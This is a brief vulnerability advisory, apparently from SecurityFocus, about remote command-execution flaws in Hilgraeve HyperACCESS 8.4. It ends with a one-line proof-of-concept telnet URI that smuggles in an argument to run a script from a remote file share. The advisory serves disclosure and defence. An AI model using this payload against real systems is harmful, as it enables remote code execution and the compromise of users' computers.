source: https://www.securityfocus.com/bid/21594/info

Hilgraeve HyperACCESS is prone to multiple remote command-execution vulnerabilities. 

Attackers can exploit these issues to execute arbitrary application commands with the privileges of the affected application. A successful exploit could result in the compromise of affected computers.

Version 8.4 is vulnerable to these issues; prior versions may also be vulnerable.

telnet://IPADDRESS:PORT # /r \\SERVER\share\scriptfile.txt